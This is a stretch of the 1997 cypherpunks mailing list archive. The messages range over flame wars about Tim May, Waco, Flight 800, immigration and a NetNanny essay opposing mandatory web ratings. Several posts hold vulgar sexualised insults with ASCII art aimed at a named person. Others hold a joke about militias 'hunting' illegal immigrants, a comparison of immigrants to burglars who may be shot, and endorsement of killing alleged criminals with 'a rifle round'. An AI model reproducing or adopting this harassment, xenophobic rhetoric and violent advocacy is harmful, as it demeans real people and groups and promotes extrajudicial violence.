name (a.k.a., your persistent identity).  The fact that you chose to make 
your statement anonymously only proves the inverse of what you say.

>I do not believe this to be true. 
"

Think how easily Monty's "response" could be used against me if the quoted 
text marks (>) were removed.  Truths are easily twisted into lies by those 
who seek advantage from such actions.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNHJoHOFWwZe05jcJAQG60gf9Gkn96xtwHQ6CP3gcXGTTjgb42GMWXG6G
YvlDlu+MehW61hR+i8NeqM6Y/z1nFJuFZhOJmAVlps2ud6r6PoGBqFF0HOiNQjyz
3pwuB5v2y31rxHKJDLloWjv+fLrX8sapQbOwELbmR3DxwiYxiZJfhNHz8T+gQOw5
4Ri550IzqMpGCHLeU03GdnZOiCu17QRUOHuP2qnNHSUAcTp28fQbUBUdivVPsr+1
PZ1XfwCLKhSdQjDCIhRNukM9+ep675+l5FtEZGjx6UOsBRlpZmXz/6I2Z/S9c0Tr
nrmOhPBSS1MQDDe2vCkOhiNmcBT2LbAa5cSEL07sswLU0/lFMRj6Jw==
=uO0B
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 20 Nov 1997 10:32:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4789] Re: Report on UN conference on Internet and racism
In-Reply-To: <199711192355.AAA16201@basement.replay.com>
Message-ID: <34739F0E.6FB4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Barely Anonymous wrote:
> Brian Daniels writes:
> 
> > This is going way off topic at this point, and I am at fault for starting
> > it.  I was just distressed at how rapidly this list seems to be turning
> > towards hate and bigotry.  Lets take it to email.
> 
> Presumably by "this list" you are referring to the fight-censorship list,
> and not the cypherpunks list (your message was distributed to both).
> The cypherpunks list has been well established as an outpost of hate
> and bigotry for some time.

Timothy C[reep] May carries a turd in his wallet for identification
purposes.

            \|/
           (*,*) Timothy C[reep] May
          _m_-_m_

> About a year ago, influential cypherpunk Tim May 

The main difference between Timothy May and shit is that shit smells 
better.

     \o _o   o  o  \o  |o  |o  >>    /\/ o__  _o   o/ Timothy May
     |   |  /|  |\  |  /  /|/  \|o  o\   |  \   \  |
     |   |  << <<  << |                        << < \

> turned away from the
> previous emphasis on cryptography and privacy, 

Tim C. Maypole, a product of anal birth, appeared with a coathanger 
through his head.

         (_) _____ (_)
            /O   O\   Tim C. Maypole
           !   I   !
           ! \___/ !
            \_____/

> towards a new approach
> emphasizing guns, violence, killing, exclusionary rhetoric, and crude
> racist humor.

The only `culture' Timmy May possesses is that 
cultivated from his foreskin scrapings.

   \|/
  (*,*) Timmy May
 _m_-_m_

>  New members have become active 

I think Vulis needs each of us to send ten copies of this back to him.

> The only `culture' Timmy May possesses is that 
> cultivated from his foreskin scrapings.
> 
>    \|/
>   (*,*) Timmy May
>  _m_-_m_
> 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of
alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> :
<ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

> who apparently find these
> topics more accessible than the arcane cryptographic technicalities

Tim Maytag carries a turd in his wallet for identification purposes.

      _______c___c
     /       /_  _\
    |       ((6)(6)) Tim Maytag
    (  )_  __\\  //__
    o___n) (nn)\o/(nn)

> discussed in the past.  You no longer need a good mind to read the
> cypherpunks list; 

Subject: HOW TO MAKE BIG $$$ AT HOME, LICKING YOUR OWN DICK!!!

> today, a strong stomach is more important.

Timothy May's 16Kb brain's single convolution is directly 
wired to his rectum for input and his T1 mouth for output. 
That's 16K bits, not bytes. Anal intercourse has caused 
extensive brain damage.

         o_,   o
        <\__, v|> Timothy May
         |    < \

  We are truly indebted to Barely Anonymous for reminding us of the
hallowed, non-vuterpertative history of the cypherpunks list, which we
should revere and hold in great piss-stream, as ? the Platypus would
surely tell us.
  I look forward to Barely Anonymous' posts containing "narc'ing 
cryptographic technicalities" in the future.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 20 Nov 1997 12:36:57 +0800
To: cypherpunks@Algebra.COM
Subject: Another blast from the past
Message-ID: <v03102804b0995f1609b7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Another "blast from the past." Here Bob talks about showing up in Denver
for the visit by several heads of state, to stage some "street theater."

Odd that he suddenly gets so offended when I say a judge has committed a
capital crime.

Perhaps he's just more scared now than before. Or perhaps he's having
second thoughts about things. Or maybe he's had his visit. The simplest
solution is the likeliest: OTR.

--Tim May



At 7:40 AM -0700 6/6/97, Robert Hettinga wrote:
>At 8:19 am -0400 on 6/6/97, John Young wrote:
>
>
>> Recall a previous report that Kohl and other heads of state are
>> to meet in Denver on June 20-22 to plan a global attack
>> on "cyber-terrorism," including the spread of encryption:
>>
>>    http://jya.com/denver.htm
>
>Wow. What an opportunity for street theater *that* might be...
>
>Anyone up for a little road-trip?
>
>Yeah, I know. Everyone *else* has a *job*, or something... :-).

No, I don't have a job.

But there's no way in hell I'm going to expose myself to imprisonment in a
German jail to make some metaphorical point about the resurgence of fascism
in Germany.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 20 Nov 1997 10:33:52 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: The Great Awakening (fwd)
Message-ID: <199711200238.UAA01352@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: 20 Nov 1997 02:25:01 -0000
> From: Anonymous <remailer@htp.org>
> Subject: The Great Awakening

> >After thinking about this I am certain that you are speaking of a movement
> >other than the Great Awakening. I can't remember or find a convenient name
> >for the religous/ethical awakening that occured prior to the Civil War.
> 
> "THE GREAT AWAKENING

No, "The Second Great Awakening" which happened to be followed by "The Third
Great Awakening".

You didn't read the various posts that I sent out earlier on this did you...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 20 Nov 1997 11:04:40 +0800
To: cypherpunks@toad.com
Subject: Finger Narcs
Message-ID: <3473A3FA.7801@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



While wandering in the Twilight Zone that lays between sleep and being
awake, I caught vague details of the following non-reality substantiated
news story:

  Ontario, in order to combat the Iron Chariotman, Road Rage, has/will
institue/d some citizen/government entity named 'Highway Rangers' (?),
whose purpose is to arrest/narc-out drivers who 'flip the bird' to
their fellow drivers, etc.

  I find it interesting that, upon awakening, I had neither the desire
nor a reason for confirming/not the details of this news story, since,
if it is _not_ true, it _could_ be.
  In short, I doubt that it is now possible to create an inner dream,
or nightmare, which is more bizarre than the ludicrousness which is
currently serving as our alleged Silver Screen of Reality.
  Go figure...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mikhail A. Sokolov" <mishania@demos.su>
Date: Thu, 20 Nov 1997 02:25:33 +0800
To: Rich Salz <rsalz@opengroup.org>
Subject: Re: export restictions and investments
In-Reply-To: <199711190359.WAA10764@sulphur.osf.org>
Message-ID: <19971119210806.37214@demos.su>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Nov 18, 1997 at 10:59:00PM -0500, Rich Salz wrote:
# >Since Sun bought the Russian Elvis+ company
# 
# Are you really sure that they bought it all? That would go against what
# we had been told, and I have a great deal of respect for the legal/crypto

They didn't.

# 	/r$

-- 
-mishania





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 20 Nov 1997 04:56:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <199711192035.VAA20768@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Actually, many studies have found that immigrants, legal and illegal,
make a net positive contribution to the economy, even considering their
access to government services.  Anyone who has worked with these people
knows that most of them work harder than native born Americans.

Even aside from the strictly economic balance sheets, giving these
people the opportunity to succeed in a free country is a significant
moral benefit which must count in favor of free immigration.

They also serve to make our country more multi-cultural, with
greater awareness and appreciation of the value of alternate customs
and lifestyles.  We develop "hybrid vigor", as our culture is cross
fertilized by elements from all around the world.  The result is an
incredibly dynamic and flexible culture, which is why the United States
will continue to be a world leader for the next century.

Of course, this gift of diversity causes immigrants to be hated and feared
by racists such as Tim May, who sees them only as targets to mock with
threats of murder:

> Ironically, the authorities are refusing to enforce the immigration laws.
> This is why the militias here in California have been forced to deal with
> illegal immigrants in the only way left to them. (There's a hunt in
> Imperial Valley this coming Saturday.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Nov 1997 11:11:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Tim plans to kill a federal judge
In-Reply-To: <v03102814b092a6fc7e52@[207.167.93.63]>
Message-ID: <v0400274eb0993f5cca5b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:10 pm -0500 on 11/14/97, Tim May, Weatherman, made the wind blow again:

> This is really rich. Hettinga hates "ad hominae."

Awwww, poooor *Timmy*. Did I decline a latin noun you didn't under*stand*?
I'm soo sorry...

(Hey, speaking of ad hominae(?) I'v got this great list of informal
fallacies... You've seen it? Oh. Okay. No, that's not one. I'll show you
later.)

> This from the guy who started this latest flame war with such choice
> phrases as:
>
> "Tim's Way Cool Latter-Day Farnham's-Freehold in the Santa Clara
> mountains.... a bunch of "freedom fighters" like the one you fancy yourself
> to be these days... instead of shoving your favorite Mac-10 up the nose of
> every statist treehugger you bump into out there in lotusland.... you won't
> have to clean the snot off the end of your
> gunbarrel so often..."

Hey, there's an echo in here! At least I have the common courtesy not just
to cut and paste my replies, Tim. :-). You wouldn't want me to cut and
paste my previous reply to your snappy synopsis, would you?  I didn't think
so.


Actually, I don't see a *single* ad hominem in up there. Let's fix that,
shall we?

Let's see if I can use a few choice ones here, just to give you a flavor
for what a *real* ad hominem looks like:

1. Tim just hates PGP because he's invested so much in RSA and he's a pal
of Jim Bidzos.

(Hey, Don't look at *me*, I only know what I read from anonymous character
assasinations posted to cypherpunks. Besides, RSA's cool by me, they're
FC98 sponsors, and I've even talked to Ron Rivest a couple of times...
They're sponsors until they read this, anyway. =:-O. This is probably an
unsubstantiated rumor, anyway. Can't possibly be true. I mean *I* don't
believe it, do *you*?)

Anyway, notice that the reason I gave, Tim's investment in RSA and his
friendship with Bidzos, has nothing to do with his stated reasons for
disliking PGP these days, whatever those reasons are. Thus this argument
has no merit because it doesn't address Tim's points about the usefulness
of PGP's software, say.

2. Tim just hates Japanese because he's a white european male.

Not because, of course, any direct refutation of Tim's stated reasons in
his discussions of Japan, whetever they were. I, um, skimmed them and then
threw them away. ;-).

3. Tim hates Latin because he doesn't know any.

Not, because, as evidently stated above, he finds it pretentious
("hoity-toity" is something he says a lot that might apply here) enough to
mock with quotation marks. Or whatever. A correct refutation of Tim's would
be what terrible mockery of a fine old dead white language his comments
are, and why would Tim be so crass as to insult it, etc.


> Hettinga, heal thyself.

Um, take a pill?

(See? There *is* an echo in here... Isn't there?)

Meanwhile, Tim's duping text this time, some 30 ignomineous lines of it
:-(, which he ends with a single sentence:

> Hettinga has admitted basic ignorance of Foucault, just as he backpedalled
> furiously on the "Aurora" claims he made.

Ah, there's that, isn't it? Actually, I don't have basic ignorance of
Foucault, though my ignorance of Foucault *is* quite close, and by choice,
Tim. And, I would wager, if *you* actually read Foucault, *you'd* wish you
had quite close to basic ignorance, yourself... :-). (Anyway, this is all
handled in another post, so I don't want to let the echo get too
recursive... Wait... There's that echo again. Isn't it?).

But, from the above quoted reasons, Tim concludes,

> (about Hettinga's repeated, and loud, claims in recent days that I have
> called for the death of a federal judge)

Which doesn't exactly follow from the last sentence, does it? Sort of like,

If a, then b
if b then c,
therefore d,

which is about the grade I'd give for this kind of logic...


> Hettinga shows his true colors by repeating these lies over and over again.
> I would not be at all surprised if he has forwarded carefully excerpted
> fragments to his friendly FBI offices, hoping they'll make a move to
> investigate me.

I would not at all be surprised if Tim really wished I would, so he'd end
up in the morning papers, or, or test out his "sensors" and his AK,
something.

Nope. Sorry, Tim, I'm not your co-star this Dog Day Afternoon...


> I have, over the years, expressed my constitutional opinion about many
> people whom I think have committed capital crimes.

Ah. Speaking of backpedaling. And, on the central point, no less, whether
or not you made a threat on a federal judge. "Constitutional opinion",
indeed. Too bad you're not using coaster brakes, Tim. You might have come
to a complete stop, by now...


Notice that this is not simply whether Foucault is a moral-relativist,
namby-pamby-candy-assed, politically correct socialist resenter, who you
yourself would line up and shoot (constitutionally, of course) at the first
opportunity. If you read his stuff.

Nor is it simply whether Monty knows how to read a book he's reading and
type it into mail messages. (At least *I* have the courtesy to do my own
book reports at length -- and at more length :-) -- in my own words without
having to play human xerox machine. Ooops. I am. I do. With e$pam, I mean.
Well -- never mind. Can I, um, backpedal that?)

The point is that Tim, here, is equivocating on that very um, evocative
statement he made which started this whole episode to begin with. The very
central fact of this whole argument.

Which, in case you haven't noticed, I'm winning. :-).


> OJ, of course. And Lon
> Horiuchi, the shooter at Ruby Ridge. And, if you check the archives, Tim
> McVeigh. Fact is, many people have committed capital crimes. And I don't
> particularly feel like paying my share of the $50-100K a year to keep them
> well fed and housed at Club Fed, so I'd just as soon spend a quarter on a
> rifle round and be done with them.

Yup. Okay.

So, Tim, why don't you tell me exactly how a sitting federal judge, who
made a decision he's legally entitled to make, silly or not, under the
constitution you liked so much as little as a year ago (or less, if memory
serves), is the same kind of person, deserves the same $.25 round in the
head, as a rich guy who slit his wife's throat and got away with it because
he has the best lawyers money can buy, or a government goon who shoots a
woman holding a baby in probable cold blood, or a, um, Freedom Fighter ;-),
who blows up a few hundred people one sunny morning?

I'd love to hear this. Constitutionally, of course.

Oh. Right. One more thing. This is also a far cry from someone who, as
little as a year ago, was disgusted and appalled when someone here made the
offhand remark "let's put a round in the head of this discussion"...

The ganglia, um, twitch...


> I don't have a clue who "Monty Cantsin" is, but his clear thinking makes it
> kind of a shame he will remain a nym forever, unless he declares himself.

Especially since he's your number one apologist and lapdog these days?
Spare me. I expect he'll go away once he pisses you off. Or vice versa.
Given your lack of command of your tongue these days, which see this whole
discussion, it shouldn't be too long...

> (No one, not even Vinge or Card, ever said nyms would carry the same
> reputation capital True Names do. Maybe someday. But not in the foreseeable
> future.)

Shades of the e$ rant I was writing at the very time Tim wrote this. Short
answer: They can if they just spend money, Tim, but they have to be
careful. Wow. Content. I'm having so much *fun* tonight...


> Indeed. Hettinga keeps quoting this "Tim plans to kill a federal judge"
> mantra so much that I'd better rename the thread to this just to keep
> Hettinga happy. There, it's done.

Why, thank you Tim. I'm honored. While you're at it, why don't you post the
LAT/LONG of your house in a reply to this exact message, so the Black
Helicopters don't have any trouble finding you on Thanksgiving?


Actually, Tim, I think you think of yourself as Helen of Corralitos, the
man who launched a thousand conspiracies. ;-). "Will no one rid me of this
judge?", which, constitutionally or not, looks like a threat to me.
Especially if I was a certain judge...

See other posts in this vein that I've written tonight. I won't repeat
them, as you are wont to do.

So much for all this new posting you're supposed to have done, Tim. Looks
like the same old same old to me...


> Hettinga doesn't bother with research. He just shoots from the hip. He
> concentrates on _style_ over substance. Must be his liberal arts training.

May doesn't bother with style, much less Latin. :-). Must be his physical
science training.

See, Tim? Both yours and mine are ad homin*ae*. Very *good* Tim.

I'll boot your D up to a C-...

Though, ah bet yew cain't boss yer meskin help fer shit with a command of
ro-mance language like the one yew have...


Take heart, however, you've still got me beat. At least you *have* Mexican
help. I mean, I've got all the education, and you've got all the money,
right? But, that's okay.

Because, when the revolution comes...

;-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 20 Nov 1997 12:02:49 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199711200359.VAA02489@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 19 Nov 1997 20:20:27 -0700
> From: Magus Mixmaster Anonymous Remailer Service <mix@magusnet.com>
> Subject: Re: Fairy Gold

> Monty Cantsin wrote:
> >Anonymous <anon@anon.efga.org> wrote:
> >>Persistent identities suck.  Ideas stand or fall on their own.
> >>Reputation capital is fairy gold, evaporating with the morning dew.
> 
> If this were really true, you would have posted your message under your real 
> name (a.k.a., your persistent identity).  The fact that you chose to make 
> your statement anonymously only proves the inverse of what you say.

No, it only proves Monty doesn't believe what he says.

> Frankly, I wasn't there at Waco so I don't know what happened.  However, as 
> Monty pointed out in another post, the fact that the FBI/BATF/etc. 
> administered the gas into the Davidian home (notice how I fail to use the 
> media-sanctioned term "compound") is clearly an aggressive act on the part of 
> the U.S. gov't.  Regardless of what the spinmeisters say (both on the left 
> and the right) no human being with a conscience can take note of this fact 
> and say that the feds were justified in their actions.  Gassing children?  
> Come on.

To hell with gassing them, the issue is the bar-b-que that occurred after.

Something like 18 children were murdered and the US government and the
then Texas (bitch) govenor Ann Richards were complicent in the nefarious
deed. Someday she and every agent that participated will stand before a jury,
unfortunately the odds are it will be the jury of history and not their
peers.

Why were those kids deprived of the modern conveniences? Clearly the answer
"David and his followers wouldn't surrender" doesn't hold water. Those kids
deserve NO punishment for actions others *may* have committed, they were a
victim - whether of David or the actions of the gov. reps. is irrellevant.

Those people were given a public trust, they not only abused it but failed
miserably in its resolution. They must pay the price. Saying "I was
following orders" has no place in a democratic society anywhere; the
individual MUST be held accountable for their actions and they should not be
able to shirk that responsibility nor pass it off to some 3rd party.
Further, irrispective of their job or position in society or the government
the responsibilities AND rights of the individual must not be infringed AND
must take predidence over all other duties or responsibilties.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 12:50:05 +0800
To: Brian the Obscure <briandaniels@mindspring.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.3.32.19971119124900.007463b0@pop.mindspring.com>
Message-ID: <199711200435.XAA12526@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19971119124900.007463b0@pop.mindspring.com>, on 11/19/97 
   at 12:49 PM, Brian the Obscure <briandaniels@mindspring.com> said:

>At 10:46 AM 11/19/97 -0600, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In <3.0.3.32.19971119105751.006dedc8@pop.mindspring.com>, on 11/19/97 
>>   at 10:57 AM, Brian the Obscure <briandaniels@mindspring.com> said:
>>
>>>At 08:12 PM 11/18/97 -0700, Tim May wrote:
>>>>Ironically, the authorities are refusing to enforce the immigration laws.
>>>>This is why the militias here in California have been forced to deal with
>>>>illegal immigrants in the only way left to them. (There's a hunt in
>>>>Imperial Valley this coming Saturday.)
>>>>
>>>>--Tim May
>>
>>>Now that's a tasteful bit of humor, if I do say so myself.
>>
>>>It's so nice to know that being lucky enough to be born in the U.S.
>>>authorizes us to look down on and hey, advocate killing those who aren't
>>>so fortunate.
>>
>><sigh> I can hear the violins playing in the background.

>Hey, it beats the stomping of jackboots and shouts of 'Sig Heil!'

>>
>>This is no different than shooting a burglar that has broken into your
>>house and is robbing it. I think that you are missing a basic concept that
>>it is not their country!! If where they are at is such a miserable
>>shithole then maybe they should do somthing to fix their country rather
>>than comming here and attempt to make it yet another miserable shithole.

>Of course, you have an unimpeachable claim, although 'Geiger the III' is
>a rather odd last name for an American Indian.

My impeachable claim is I am here and they are not. I see no reason why I
or anyone else should sit idly by and watch the SouthWest be turned into a
Mexican colony. You bring up the American Indians, it is interesting to
note that if they had bothered to stand up against the European invaders
and defended their boarders from the begining they more then likely would
still be running the place.

"Those who fail to learn from history are doomed to repeat it."

>>
>>It is not the fault of America that Mexico is the shithole that it is.
>>Perhaps if they were to overthrow their corrupt government and replaced it
>>with one based on freedom (both political and economic) there would be no
>>need for them to come here in the first place. California, New Mexico,
>>Arizona, and Texas should not be the release valve for a corrupt Mexican
>>government so they can continue to rape their country and leave their
>>citizens in poverty.

>Lets see.  Are you aware of how Texas, California, and New Mexico came to
>be part of the US?  Probably doesn't matter - those dang furriners had no
>right to the lands they lived on anyway, once the U.S. decided it wanted
>them.

So are you suggesting we give it back? Perhaps everyone should just pack
up and go back to Europe or Asia or Africa and give it all back to the
Indians? Of course you do know that the "Native Americans" that were in
North America at the time Europeans started to colonize North America were
not the "original" humans here. There were actually several waves of
humans coming over the Siberia-Alaska land bridge over a long period of
time. I am sure that the peace loving "Native Americans" wouldn't think of
conquering lands occupied by others now would they??

>I don't find it at all surprising that people who live in a 'shithole'
>want to leave.  It is easy for you to suggest that they overthrow their
>government - after all, you won't be the one facing a Mexican prison.  

Personally I could care less what they do. It's not my problem it is
theirs. It is their responsibility to fix their problems. 

>This is going way off topic at this point, and I am at fault for starting
>it.  I was just distressed at how rapidly this list seems to be turning
>towards hate and bigotry.  Lets take it to email.

There is no hatred or bigotry involved in my position. I am really
apathetic towards the Mexicans. They can go and do whatever they want so
long as they are not doing it here. The same goes for the Germans, French,
Ethiopians, Iraqies, Iraelies, Australians, Japanizes, et. al. 

I don't care what my neighbor does in his house so long as he doesn't try
comming over and doing it in mine.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 20 Nov 1997 14:28:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: From the Files - Freeh and Flight 800
In-Reply-To: <1.5.4.32.19971120010958.006d23b4@pop.pipeline.com>
Message-ID: <v03102805b09976cf9c73@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:09 PM -0700 11/19/97, John Young wrote:

>Perhaps Tim May is correct in his assessment of Jim,
>but NTSC's upcoming hearing should produce more
>reliable technical information than Kallstrom appears to
>be comfortable handling -- given his bent for melodrama
>fine details of investigation seem to be an annoyance,
>although he appeared to like the assurance of the CIA's
>virtual reality.
>
>Kallstrom also said that the case will remain open, I guess
>in case Boeing or TWA or something needs to be zapped
>by blind justice.

My main point in my post was about the "clampdown on civil liberties" after
the dual "terrorist incidents" of Flight 800 and Richard Jewell, and how
those liberties are not being given back to us now that the crash of Flight
800 has been ruled a non-terrorist attack.

Analysis of the missile theory was not my main thrust.

There's always a chance it _was_ a missile, or a bomb, or somesuch. I don't
see compelling evidence. The CIA reconstruction looked quite complete and
plausible to me.

We can argue for the next 30 years about the vapor trail from the grassy
knoll, but it seems like a wild goose chase to me.

And there are much more substantiated cases of malfeasance. If 1% of the
media attention given to Flight 900 had been given to
Inslaw/Cabazon/Systematics and the Octopus/Casolaro/Contras mess, much more
useful things would be learned. Learned by the American public, that is.

For starters, folks ought to do a Web search on J. Orlin Grabbe, who was on
the Cypherpunks list a couple of years ago. Lots of interesting stuff, and
his articles are getter wider distribution now.

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 20 Nov 1997 11:39:03 +0800
To: cypherpunks@toad.com
Subject: NetNanny's Gordon Ross on "Censorship and the Internet"
Message-ID: <v03007819b0995dfa6c4d@[204.254.22.110]>
MIME-Version: 1.0
Content-Type: text/plain




=================

From: gordonr@netnanny.com (GordonR)
Reply-To: "gordonR@netnanny.com" <gordonR@netnanny.com>
To: "'Declan McCullagh'"
Date: Wed, 19 Nov 1997 10:46:19 -0800
Organization: Net Nanny Software International Inc.


Censorship and the Internet
Written by: Gordon A. Ross CEO/President
Net nanny Software International Inc.

The Internet today provides a total open communication facility for all
societies on this planet to communicate with one another.  Depending on
your political and value judgments, this could be good, bad, allowed or
disallowed.

I am a firm believer in absolute freedom of speech.  However, there are
numerous organizations, societies, governments, and countries that
determine what freedom of speech is according to their own rules.  We are
capable of developing technology to allow the individual to determine what
information is appropriate or inappropriate according to their own value
sets - not mine or those of any single government.  But in order for this
type of technology to work on a global basis, we must set standards, much
like the way early telephone networks had to be set up.  Back then, if
there weren't certain "signaling" standards set within the
telecommunication community, people had to go through time-consuming
avenues in order to communicate with different foreign groups.  It is
logical that the Internet will also evolve with a set of standards, and
some of them are already in place, such as TCP/IP, HTML, and PICS (Platform
for Internet Content Selection).

Because each unique group has a different value set, we must develop a
standard that all countries can accept and use that does not infringe on
their right to govern according to their own constitutions or laws.  PICS
is such a standard.  It allows for self-imposed ratings according to the
standards of the individual, organization or country.  If ratings are
desired, PICS defines how and where a rating label should appear.  Browsers
and filtering software can read these standards and make decisions as
defined by the owner of these software applications.

Personally, I do not believe rating should be forced on any single
individual or WEB site, much in the same way I do not believe that I should
be told when I can use my telephone if it is my telephone.  However, I do
have concerns about third-party rating systems.  There are so many
important questions we have to ask:  Who is doing the rating?  What are
their qualifications?  Who determines the criteria?  How does the system
get implemented?  With the Internet's massive daily changes, how is content
validated?  And, more importantly, who validates the content?

How would rating work, if it could work at all?  There are 60 million-plus
pages on the WEB and it takes about one minute per page to rate.  To rate
every existing WEB page today, it would take about 60 million minutes - or
one million hours - or over 114 years.  Using 114 people working 24 hours a
day, the job would take a full year.  But the bad news is that as soon as
everything was rated, the process would have to start all over again,
because within a year the WEB would change drastically.  Even day-to-day
changes would be difficult to track.  That's why a self-rating system would
be the most cost-effective solution - as well as the most politically
correct.

I would be very concerned if mandatory rating is enforced.  We are
fortunate to live in a society that allows us the civil liberties that we
currently enjoy.  No single jurisdiction can - or should - govern the
Internet.  And technology will always evolve in order to get around this
type of government control.  There is simply too much content for any
single entity to monitor at this time.

Many people feel there should be no rating or controls legislated for the
Internet.  Legislation already exists to enforce proper conduct within a
country's Internet access.  Technology developed by industry will allow
individuals the control they want according to their own personal values.
 The masses should be educated as to emerging technologies that will offer
them choices - and how these technologies can be used safely.  Once people
understand how the technology can prevent problems, the divisive issues
currently facing us will become moot.

Today, we function in a global community, and we can no longer isolate
ourselves thinking we can "go it alone."  The Internet opens up worldwide
communications channels.  We can discover or share any information at any
time from any source, if we so choose.  We must strive to preserve the open
communication and the free exchange of ideas, while at the same time
protect our children when we as individuals feel it is necessary.
 Technology companies can and will provide the tools for us to accomplish
both free speech on the Internet - and protection for our families.

The Internet can be a truly wonderful resource for the entire world to
share.  Approximately 95% of it is, in fact, good.  Up until now, we have
done a great job of informing the general population of the negatives
inherent in a tool like the WEB.  But now it's time to educate people about
the positive aspects of the Internet, especially as it becomes their major
communication facility in the future.

What it comes down to is, a simple matter of choice.

------------------------------------------------------------------------
